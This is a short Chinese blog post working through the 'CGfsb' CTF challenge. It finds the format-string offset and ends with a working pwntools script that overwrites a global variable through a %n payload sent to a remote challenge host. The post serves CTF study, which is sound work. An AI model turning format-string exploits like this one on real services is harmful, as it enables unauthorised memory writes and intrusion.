攻防世界(7):CGfsb

查壳,Pie没开,但开了canary和NX,无法直接覆盖返回地址或使用shellcode

逛该ida 发现pwnme是拿到flag的关键

利用printf(%s)的特性可以泄露偏移地址

可以看这个博客学习格式化字符漏洞

得到偏移量为10(数一数)41414141是第几个出现的

编写exp,利用%n修改pwnme的值,由于p32(addr_pwnme)占4个字节,让其==8,再填充4个字节

#!/usr/bin/env python
from pwn import *
p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068 
p.recvuntil("please tell me your name:\n")
p.sendline('123')
payload = p32(addr_pwnme) + 'aaaa' + '%10$n' 
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()
posted @ 2021-02-26 14:57  triplewings  阅读(82)  评论(0编辑  收藏  举报